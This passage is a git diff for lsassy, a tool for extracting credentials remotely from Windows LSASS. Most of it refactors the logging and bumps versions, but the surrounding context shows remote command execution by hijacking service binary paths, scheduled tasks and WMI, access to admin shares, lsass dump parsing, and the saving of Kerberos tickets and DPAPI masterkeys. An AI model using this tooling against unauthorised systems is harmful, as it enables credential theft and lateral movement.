lsassy_logger.debug("Trying to connect back to SCMR") self._scmr = self._rpctransport.get_dce_rpc() try: self._scmr.connect() except Exception as e: raise Exception("An error occurred while connecting to SVCCTL: %s" % e) - logging.debug("Connected to SCMR") + lsassy_logger.debug("Connected to SCMR") self._scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self._scmr) _scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self._scmr, _scHandle, self._serviceName) - logging.debug("Found service %s" % self._serviceName) + lsassy_logger.debug("Found service %s" % self._serviceName) self._service = resp['lpServiceHandle'] scmr.hRChangeServiceConfigW( self._scmr, @@ -89,15 +88,15 @@ def clean(self): NULL, NULL, ) - logging.debug("Service %s restored" % self._serviceName) + lsassy_logger.debug("Service %s restored" % self._serviceName) scmr.hRControlService(self._scmr, self._service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self._scmr, self._service) except scmr.DCERPCException: - logging.debug("A DCERPCException error occured while trying to delete %s" % self._serviceName, + lsassy_logger.debug("A DCERPCException error occured while trying to delete %s" % self._serviceName, exc_info=True) pass except: - logging.debug("An unknown error occured while trying to delete %s" % self._serviceName, exc_info=True) + lsassy_logger.debug("An unknown error occured while trying to delete %s" % self._serviceName, exc_info=True) pass def exec(self, command): @@ -105,7 +104,7 @@ def exec(self, command): return False try: stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.session.address - logging.debug('StringBinding %s' % stringbinding) + lsassy_logger.debug('StringBinding %s' % stringbinding) self._rpctransport = transport.DCERPCTransportFactory(stringbinding) self._rpctransport.set_dport(445) self._rpctransport.setRemoteHost(self.session.address) @@ -131,7 +130,7 @@ def exec(self, command): self._binaryPath = resp['lpServiceConfig']['lpBinaryPathName'] self._startType = resp['lpServiceConfig']['dwStartType'] self._errorControl = resp['lpServiceConfig']['dwErrorControl'] - logging.info('({}) Current service binary path {}'.format(self._serviceName, self._binaryPath)) + lsassy_logger.info('({}) Current service binary path {}'.format(self._serviceName, self._binaryPath)) scmr.hRChangeServiceConfigW( self._scmr, @@ -151,7 +150,7 @@ def exec(self, command): ) try: scmr.hRStartServiceW(self._scmr, self._service) - logging.debug("Service %s restarted for command execution" % self._serviceName) + lsassy_logger.debug("Service %s restarted for command execution" % self._serviceName) except: pass @@ -172,7 +171,7 @@ def exec(self, command): NULL, NULL, ) - logging.info('({}) Service binary path has been restored'.format(self._serviceName)) + lsassy_logger.info('({}) Service binary path has been restored'.format(self._serviceName)) self._startType = "" self._errorControl = "" self._binaryPath = "" @@ -181,7 +180,7 @@ def exec(self, command): raise Exception(e) self.clean() except KeyboardInterrupt as e: - logging.debug("Keyboard interrupt: Trying to restore %s if it exists" % self._serviceName) + lsassy_logger.debug("Keyboard interrupt: Trying to restore %s if it exists" % self._serviceName) self.clean() raise KeyboardInterrupt(e) except Exception as e: diff --git a/lsassy/exec/task.py b/lsassy/exec/task.py index e67b479..d986ec9 100644 --- a/lsassy/exec/task.py +++ b/lsassy/exec/task.py @@ -7,7 +7,6 @@ # Based on Impacket atexec implementation by @agsolino # https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py -import logging import random import string import time @@ -17,6 +16,7 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from lsassy.exec import IExec +from lsassy.logger import lsassy_logger class Exec(IExec): @@ -52,7 +52,7 @@ def exec(self, command): self._dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self._dce.bind(tsch.MSRPC_UUID_TSCHS) xml = self.gen_xml(command) - logging.debug("Register random task {}".format(self._taskname)) + lsassy_logger.debug("Register random task {}".format(self._taskname)) tsch.hSchRpcRegisterTask(self._dce, '\\%s' % self._taskname, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) tsch.hSchRpcRun(self._dce, '\\%s' % self._taskname) done = False @@ -79,7 +79,7 @@ def clean(self): tsch.hSchRpcStopInstance(self._dce, resp['pGuids'][0]) tsch.hSchRpcDelete(self._dce, '\\%s' % self._taskname) self._dce.disconnect() - logging.debug("Task %s has been removed" % self._taskname) + lsassy_logger.debug("Task %s has been removed" % self._taskname) def gen_xml(self, command): diff --git a/lsassy/exec/wmi.py b/lsassy/exec/wmi.py index 432a485..96130e5 100644 --- a/lsassy/exec/wmi.py +++ b/lsassy/exec/wmi.py @@ -7,13 +7,12 @@ # Based on Impacket wmiexec implementation by @agsolino # https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py -import logging - from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL from lsassy.exec import IExec +from lsassy.logger import lsassy_logger class Exec(IExec): @@ -69,11 +68,11 @@ def exec(self, command): self.iWbemServices.disconnect() self.dcom.disconnect() except KeyboardInterrupt as e: - logging.debug("WMI Execution stopped because of keyboard interruption") + lsassy_logger.debug("WMI Execution stopped because of keyboard interruption") self.clean() raise KeyboardInterrupt(e) except Exception as e: - logging.debug("Error : {}".format(e), exc_info=True) + lsassy_logger.debug("Error : {}".format(e), exc_info=True) self.clean() raise Exception(e) return True diff --git a/lsassy/impacketfile.py b/lsassy/impacketfile.py index f8f6aed..3e141c1 100644 --- a/lsassy/impacketfile.py +++ b/lsassy/impacketfile.py @@ -1,7 +1,7 @@ -import logging import time from impacket.smb3structs import * +from lsassy.logger import lsassy_logger class ImpacketFile: @@ -44,25 +44,28 @@ def get_connection(self): return self._session def _open_share(self): + + try: self._tid = self._session.smb_session.connectTree(self._share_name) except Exception as e: - logging.warning("ConnectTree error with '{}'".format(self._share_name), exc_info=True) + lsassy_logger.warning("ConnectTree error with '{}'".format(self._share_name), exc_info=True) return None return self - @staticmethod - def create_file(session, share, path, file, content): + def create_file(self, session, share, path, file, content): + + path = path.replace("\\", "/") try: share, fpath = share, path + "/" + file except Exception as e: - logging.warning("Parsing error with '{}'".format(path), exc_info=True) + lsassy_logger.warning("Parsing error with '{}'".format(path), exc_info=True) return None try: tid = session.smb_session.connectTree(share) except Exception as e: - logging.warning("ConnectTree error with '{}'".format(share), exc_info=True) + lsassy_logger.warning("ConnectTree error with '{}'".format(share), exc_info=True) return None fid = None @@ -80,7 +83,7 @@ def create_file(session, share, path, file, content): rnd += 1 finally: if fid is not None: - logging.debug("File {}{} created!".format(share, fpath)) + lsassy_logger.debug("File {}{} created!".format(share, fpath)) session.smb_session._SMBConnection.close(tid, fid) session.smb_session._SMBConnection.disconnectTree(tid) return True @@ -94,23 +97,26 @@ def delete(session, file_path, timeout=5): while True: try: session.smb_session.deleteFile("C$", file_path) - logging.debug("File {}{} deleted".format("C$", file_path)) + lsassy_logger.debug("File {}{} deleted".format("C$", file_path)) return True except BrokenPipeError: if time.time() - t > timeout: - logging.warning("File wasn't removed `{}{}`, connection lost".format("C$", file_path), - exc_info=True) + lsassy_logger.warning( + "File wasn't removed `{}{}`, connection lost".format("C$", file_path), + exc_info=True + ) return None - logging.debug("Trying to reconnect ...") + lsassy_logger.debug("Trying to reconnect ...") if session.login(): - logging.success("Reconnected after unexpected disconnection for proper cleanup") + print("Reconnected after unexpected disconnection for proper cleanup") except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e): + lsassy_logger.debug(f"Object or File not found for deletion: {e}") return True if time.time() - t > timeout: - logging.warning("File wasn't removed `{}{}`".format("C$", file_path), exc_info=True) + lsassy_logger.warning("File wasn't removed `{}{}`".format("C$", file_path), exc_info=True) return None - logging.debug("Unable to delete file `{}{}`. Retrying...".format("C$", file_path)) + lsassy_logger.debug("Unable to delete file `{}{}`. Retrying...".format("C$", file_path)) time.sleep(0.5) def open(self, share, path, file, timeout=3): @@ -126,7 +132,7 @@ def open(self, share, path, file, timeout=3): try: self._share_name, self._fpath = share, path + "/" + file except Exception as e: - logging.warning("Parsing error with '{}'".format(path), exc_info=True) + lsassy_logger.warning("Parsing error with '{}'".format(path), exc_info=True) return None if self._open_share() is None: @@ -136,13 +142,13 @@ def open(self, share, path, file, timeout=3): while True: try: self._fid = self._session.smb_session.openFile(self._tid, self._fpath, desiredAccess=FILE_READ_DATA) - logging.info("{} handle acquired".format(self._fpath)) + lsassy_logger.info("{} handle acquired".format(self._fpath)) break except Exception as e: if time.time() - t > timeout: - logging.warning("Unable to open remote file {}".format( self._fpath), exc_info=True) + lsassy_logger.warning("Unable to open remote file {}".format( self._fpath), exc_info=True) return None - logging.debug("Unable to open remote file {}. Retrying...".format(self._fpath)) + lsassy_logger.debug("Unable to open remote file {}. Retrying...".format(self._fpath)) time.sleep(0.5) self._fileInfo = self._session.smb_session.queryInfo(self._tid, self._fid) diff --git a/lsassy/logger.py b/lsassy/logger.py index d97113e..0d3cc5a 100644 --- a/lsassy/logger.py +++ b/lsassy/logger.py @@ -1,19 +1,38 @@ import logging -import os import sys +class LsassyLogger(logging.LoggerAdapter): + def __init__(self): + super().__init__(self) + self.logger = logging.getLogger("lsassy") + self.logger.propagate = False + self.no_color = None + + formatter = LsassyFormatter() + handler = logging.StreamHandler(sys.stdout) + handler.setFormatter(formatter) + self.logger.addHandler(handler) + + def lsassy_highlight(self, msg): + """ + Highlight in yellow provided message + :param msg: Message to lsassy_highlight + :return: Highlighted message + """ + if self.no_color: + return msg + return "\033[1;33m{}\033[0m".format(msg) + + class LsassyFormatter(logging.Formatter): """ Custom formatting. Inspired by impacket "Logger" class """ - def __init__(self, no_color=False): - logging.Formatter.__init__(self, '%(bullet)s %(threadName)s %(message)s', None) - self.no_color = no_color - if self.no_color: - self.BLUE, self.WHITE, self.YELLOW, self.RED, self.GREEN, self.NC = '', '', '', '', '', '' - else: + self.formatter = logging.Formatter.__init__(self, '%(bullet)s %(threadName)s %(message)s', None) + self._no_color = no_color + if not self._no_color: self.BLUE = '\033[1;34m' self.WHITE = '\033[1;37m' self.YELLOW = '\033[1;33m' @@ -21,6 +40,19 @@ def __init__(self, no_color=False): self.GREEN = '\033[1;32m' self.NC = '\033[0m' + @property + def no_color(self): + try: + return self._no_color + except AttributeError: + return False + + @no_color.setter + def no_color(self, no_color): + if no_color: + self.BLUE, self.WHITE, self.YELLOW, self.RED, self.GREEN, self.NC = '', '', '', '', '', '' + self._no_color = no_color + def format(self, record): """ Custom bullet formatting with colors @@ -38,36 +70,10 @@ def format(self, record): record.bullet = '{}[+]{}'.format(self.GREEN, self.NC) # Only log stacktrace when log level is DEBUG - if record.exc_info and logging.getLogger().getEffectiveLevel() != logging.DEBUG: + if record.exc_info and logging.getLogger("lsassy").getEffectiveLevel() != logging.DEBUG: record.exc_info = None return logging.Formatter.format(self, record) -def highlight(msg): - """ - Highlight in yellow provided message - :param msg: Message to highlight - :return: Highlighted message - """ - if logging.no_color: - return msg - return "\033[1;33m{}\033[0m".format(msg) - - -def init(quiet=False, no_color=False): - """ - StreamHandler and formatter added to root logger - """ - if (logging.getLogger().hasHandlers()): - logging.getLogger().handlers.clear() - - handler = logging.StreamHandler(sys.stdout) - handler.setFormatter(LsassyFormatter(no_color)) - logging.getLogger().addHandler(handler) - logging.getLogger().setLevel(logging.INFO) - - logging.addLevelName(25, 'SUCCESS') - setattr(logging, 'success', lambda message, *args: logging.getLogger()._log(25, message, args)) - setattr(logging, 'no_color', no_color) - logging.getLogger().disabled = quiet +lsassy_logger = LsassyLogger() diff --git a/lsassy/output/__init__.py b/lsassy/output/__init__.py index bd9ee48..baa521f 100644 --- a/lsassy/output/__init__.py +++ b/lsassy/output/__init__.py @@ -2,9 +2,9 @@ class IOutput: """ Ouput interface """ - def __init__(self, credentials, users_only=False, tickets=False, masterkeys=False): self._credentials = self.get_credentials(credentials, users_only, tickets, masterkeys) + @staticmethod def _decode(data): diff --git a/lsassy/output/pretty_output.py b/lsassy/output/pretty_output.py index 33d2422..7914214 100644 --- a/lsassy/output/pretty_output.py +++ b/lsassy/output/pretty_output.py @@ -1,5 +1,5 @@ -from lsassy import logger from lsassy.output import IOutput +from lsassy.logger import lsassy_logger class Output(IOutput): @@ -32,8 +32,8 @@ def get_output(self): ('{}\\'.format(cred["domain"]) if cred["domain"] is not None and cred["domain"] != "" else " "), cred["username"], " " * (max_size - len(cred["domain"]) - len(cred["username"]) + 2), - logger.highlight("[{}] ".format(cred_type)), - logger.highlight(cred["password"]), - " | {}".format(logger.highlight("[{}] {}".format("SHA1", cred["sha1"]))) if cred["sha1"] else "") + lsassy_logger.lsassy_highlight("[{}] ".format(cred_type)), + lsassy_logger.lsassy_highlight(cred["password"]), + " | {}".format(lsassy_logger.lsassy_highlight("[{}] {}".format("SHA1", cred["sha1"]))) if cred["sha1"] else "") ) return "\n".join(output) diff --git a/lsassy/parser.py b/lsassy/parser.py index da30386..e011c31 100644 --- a/lsassy/parser.py +++ b/lsassy/parser.py @@ -1,10 +1,7 @@ -from doctest import master -import logging from datetime import datetime - from pypykatz.pypykatz import pypykatz - from lsassy.credential import Credential +from lsassy.logger import lsassy_logger class Parser: @@ -14,6 +11,7 @@ class Parser: def __init__(self, dumpfile): self._dumpfile = dumpfile + def parse(self): """ @@ -26,7 +24,7 @@ def parse(self): try: pypy_parse = pypykatz.parse_minidump_external(self._dumpfile, chunksize = 60*1024) except Exception as e: - logging.error("An error occurred while parsing lsass dump", exc_info=True) + lsassy_logger.error("An error occurred while parsing lsass dump", exc_info=True) return None ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', diff --git a/lsassy/session.py b/lsassy/session.py index 9e1b534..d3a4dc9 100644 --- a/lsassy/session.py +++ b/lsassy/session.py @@ -1,5 +1,5 @@ -import logging from impacket.smbconnection import SMBConnection +from lsassy.logger import lsassy_logger class Session: @@ -20,6 +20,7 @@ def __init__(self, smb_session=None): self.dc_ip = "" self.kerberos = False self.timeout = 5 + def get_session(self, address, target_ip="", port=445, username="", password="", lmhash="", nthash="", domain="", aesKey="", dc_ip="", kerberos=False, timeout=5): """ @@ -40,31 +41,33 @@ def get_session(self, address, target_ip="", port=445, username="", password="", try: self.smb_session = SMBConnection(address, target_ip, None, sess_port=port, timeout=timeout) except Exception: - logging.warning("Network error", exc_info=True) + lsassy_logger.warning("Network error", exc_info=True) self.smb_session = None return None + lsassy_logger.debug(f"smb_session: {self.smb_session}") try: if kerberos is True: self.smb_session.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dc_ip) else: self.smb_session.login(username, password, domain, lmhash, nthash) - logging.info("SMB session opened") + lsassy_logger.info("SMB session opened") except Exception as e: if "KDC_ERR_S_PRINCIPAL_UNKNOWN" in str(e): - logging.error("Connexion error (Use FQDN for kerberos authentication)", exc_info=True) + lsassy_logger.error("Connection error (Use FQDN for kerberos authentication)", exc_info=True) else: - logging.warning("Connexion error", exc_info=True) + lsassy_logger.error("Connection error", exc_info=True) self.smb_session = None return None try: + lsassy_logger.debug(f"Connecting to C$") self.smb_session.connectTree("C$") except Exception: if username: - logging.error("User '{}' can not access admin shares on {}".format(username, address)) + lsassy_logger.error("User '{}' can not access admin shares on {}".format(username, address)) else: - logging.error("Can not access admin shares on {}".format(address)) + lsassy_logger.error("Can not access admin shares on {}".format(address)) self.smb_session = None return None @@ -81,7 +84,7 @@ def get_session(self, address, target_ip="", port=445, username="", password="", self.kerberos = kerberos self.timeout = timeout - logging.success("Authentication successful") + lsassy_logger.info("Authentication successful") return True def login(self): diff --git a/lsassy/writer.py b/lsassy/writer.py index 3ffe9c5..dd98bbe 100644 --- a/lsassy/writer.py +++ b/lsassy/writer.py @@ -1,7 +1,7 @@ import importlib -import logging import os from pathlib import Path +from lsassy.logger import lsassy_logger class Writer: @@ -12,6 +12,7 @@ def __init__(self, credentials, tickets, masterkeys): self._credentials = credentials self._tickets = tickets self._masterkeys = masterkeys + def get_output(self, out_format, users_only=False, tickets=False, masterkeys=False): """ @@ -23,7 +24,7 @@ def get_output(self, out_format, users_only=False, tickets=False, masterkeys=Fal try: output_method = importlib.import_module("lsassy.output.{}_output".format(out_format.lower()), "Output").Output(self._credentials, users_only, tickets, masterkeys) except ModuleNotFoundError: - logging.error("Output module '{}' doesn't exist".format(out_format.lower()), exc_info=True) + lsassy_logger.error("Output module '{}' doesn't exist".format(out_format.lower()), exc_info=True) return None return output_method.get_output() @@ -51,27 +52,27 @@ def write(self, file_format, out_format="pretty", output_file=None, quiet=False, file_content = self.get_output(file_format, users_only, tickets, masterkeys) if output is None: - logging.error("An error occurred while writing credentials", exc_info=True) + lsassy_logger.error("An error occurred while writing credentials", exc_info=True) return None if not quiet: for line in output.split("\n"): - logging.success(line) + print(line) if output_file is not None: path = Path(output_file).parent if not os.path.isdir(path): - logging.error("Directory {} does not exist".format(path)) + lsassy_logger.error("Directory {} does not exist".format(path)) return None with open(output_file, 'a+') as f: f.write(file_content + "\n") - logging.success("Credentials saved to {}".format(output_file)) + print("Credentials saved to {}".format(output_file)) self.write_tickets(kerberos_dir, quiet) self.write_masterkeys(masterkeys_file, quiet) - return True + return output def write_tickets(self, kerberos_dir=None, quiet=False): """ @@ -86,7 +87,7 @@ def write_tickets(self, kerberos_dir=None, quiet=False): abs_dir = os.path.expanduser('~') + '/.config/lsassy/tickets' else: if len(self._tickets) == 0 and not quiet: - logging.warning("No kerberos tickets found") + lsassy_logger.warning("No kerberos tickets found") return True abs_dir = os.path.abspath(kerberos_dir) @@ -95,15 +96,15 @@ def write_tickets(self, kerberos_dir=None, quiet=False): try: os.makedirs(abs_dir) except Exception as e: - logging.warning("Cannot create %s for saving kerberos tickets" % abs_dir, exc_info=True) + lsassy_logger.warning("Cannot create %s for saving kerberos tickets" % abs_dir, exc_info=True) return True for ticket in self._tickets: ticket.to_kirbi(abs_dir) if not quiet: if len(self._tickets) > 1: - logging.success("%s Kerberos tickets written to %s" % (len(self._tickets),abs_dir)) + print("%s Kerberos tickets written to %s" % (len(self._tickets),abs_dir)) else: - logging.success("%s Kerberos ticket written to %s" % (len(self._tickets),abs_dir)) + print("%s Kerberos ticket written to %s" % (len(self._tickets),abs_dir)) return True @@ -120,17 +121,17 @@ def write_masterkeys(self, masterkeys_file=None, quiet=False): abs_dir = os.path.expanduser('~') + '/.config/lsassy/masterkeys.txt' else: if len(self._masterkeys) == 0 and not quiet: - logging.warning("No DPAPI masterkey found") + lsassy_logger.warning("No DPAPI masterkey found") return True abs_dir = os.path.abspath(masterkeys_file) if len(self._masterkeys) == 0: if not quiet: - logging.warning("No masterkey found") + lsassy_logger.warning("No masterkey found") return True with open(abs_dir,'a+') as file: for mk in self._masterkeys: file.write(mk+'\n') if not quiet: - logging.success("{} masterkeys saved to {}".format(len(self._masterkeys), abs_dir)) + print("{} masterkeys saved to {}".format(len(self._masterkeys), abs_dir)) return True diff --git a/pyproject.toml b/pyproject.toml index 613d581..7c8d23a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "lsassy" -version = "3.1.6" +version = "3.1.7" description = "Tool to remotely extract credentials" readme = "README.md" homepage = "https://github.com/hackndo/lsassy" @@ -11,8 +11,8 @@ authors = ["pixis "] [tool.poetry.dependencies] python = "^3.7" netaddr = "^0.8.0" -pypykatz = "^0.6.2" -impacket = "^0.9.22" +pypykatz = "^0.6.3" +impacket = "^0.10.0" rich = "^10.6.0" [tool.poetry.dev-dependencies] diff --git a/requirements.txt b/requirements.txt index a5ae9ea..0ed6a5e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ impacket netaddr -pypykatz>=0.6.2 +pypykatz>=0.6.3 rich diff --git a/setup.py b/setup.py index ddb61fb..91f9ba2 100644 --- a/setup.py +++ b/setup.py @@ -13,7 +13,7 @@ setup( name="lsassy", - version="3.1.6", + version="3.1.7", author="Pixis", author_email="hackndo@gmail.com", description="Python library to extract credentials from lsass remotely", @@ -27,7 +27,7 @@ install_requires=[ 'impacket', 'netaddr', - 'pypykatz>=0.6.2', + 'pypykatz>=0.6.3', 'rich' ], python_requires='>=3.6', diff --git a/tests/test_lsassy.py b/tests/test_lsassy.py index 6af14b0..47f4bd1 100644 --- a/tests/test_lsassy.py +++ b/tests/test_lsassy.py @@ -2,4 +2,4 @@ def test_version(): - assert __version__ == '3.1.6' + assert __version__ == '3.1.7'